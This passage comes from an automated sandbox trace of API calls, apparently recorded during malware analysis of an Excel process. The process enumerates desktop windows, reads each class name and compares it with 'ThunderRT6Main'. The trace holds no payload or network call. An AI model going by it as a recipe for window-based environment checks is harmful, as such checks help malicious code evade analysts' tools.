(hWnd=0x30242, nIndex=-16) returned -1778384896 [0112.299] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0112.299] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0112.299] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0112.299] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.299] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.299] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.299] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0112.299] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0112.299] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0112.299] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0112.299] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.299] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.299] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.299] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0112.300] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0112.300] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0112.300] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0112.300] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.300] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.300] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.300] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0112.300] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0112.300] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0112.300] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0112.300] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0112.300] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0112.300] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.300] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0112.300] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0112.300] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0112.300] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0112.300] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0112.300] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0112.300] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0112.300] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0112.300] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.300] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0112.300] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0112.300] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0112.300] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0112.300] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0112.301] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0112.301] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.301] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0112.301] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0112.301] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0112.301] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0112.301] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0112.301] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0112.301] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.301] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0112.301] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0112.301] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0112.301] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0112.301] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.301] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.301] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.301] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0112.301] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0112.301] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0112.301] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0112.301] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.301] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.301] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.301] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0112.301] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0112.301] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0112.301] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0112.301] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.301] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.302] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.302] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0112.302] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0112.302] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0112.302] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0112.302] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0112.302] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0112.302] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.302] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0112.302] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0112.302] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0112.302] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0112.302] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0112.302] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0112.302] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.302] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0112.302] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0112.302] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0112.302] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0112.302] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0112.302] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0112.302] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0112.302] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0112.302] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0112.302] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0112.302] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.302] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0112.302] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0112.303] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0112.303] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0112.303] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.303] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.303] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0112.303] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0112.303] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0112.303] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0112.303] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0112.303] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0112.303] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0112.303] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0112.303] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0112.303] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0112.303] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0112.303] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.303] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.303] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0112.303] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0112.303] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0112.303] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0112.303] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0112.303] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0112.303] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.303] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.303] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0112.303] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0112.303] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0112.303] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0112.303] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0112.304] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0112.304] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.304] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0112.304] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0112.304] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0112.304] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0112.304] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0112.304] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.304] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0112.304] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0112.304] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0112.304] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0112.304] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0112.304] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0112.304] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0112.304] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0112.304] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.304] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0112.304] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0112.304] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0112.304] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0112.304] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0112.304] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.304] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0112.304] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0112.304] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0112.304] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0112.304] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0112.304] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0112.304] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.305] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.305] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0112.305] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0112.305] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0112.305] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0112.305] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0112.305] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0112.305] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.305] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.305] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0112.305] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0112.305] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0112.305] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0112.305] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0112.305] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0112.305] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.305] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.305] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0112.305] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0112.305] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0112.305] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0112.305] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0112.305] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0112.305] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.305] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.305] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0112.305] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0112.306] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0112.306] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0112.306] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0112.306] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0112.306] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.306] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.306] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0112.306] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0112.306] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0112.306] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0112.306] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0112.306] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0112.306] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.306] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.306] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0112.306] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0112.306] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0112.306] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0112.306] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0112.306] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0112.306] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.306] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.306] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0112.306] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0112.307] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0112.307] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0112.307] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0112.307] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0112.307] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.307] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.307] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0112.307] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0112.307] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0112.307] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0112.307] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0112.307] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0112.307] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.307] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.307] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0112.307] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0112.307] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0112.307] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0112.307] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0112.307] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0112.307] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.307] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.307] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0112.307] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0112.307] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0112.307] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0112.307] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0112.308] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0112.308] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.308] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.308] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0112.308] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0112.308] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0112.308] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0112.308] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0112.308] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0112.308] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.308] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.308] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0112.308] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0112.308] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0112.308] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0112.308] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0112.308] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0112.308] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.308] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.308] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0112.308] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0112.308] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0112.308] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0112.309] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0112.309] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0112.309] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0112.309] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0112.309] 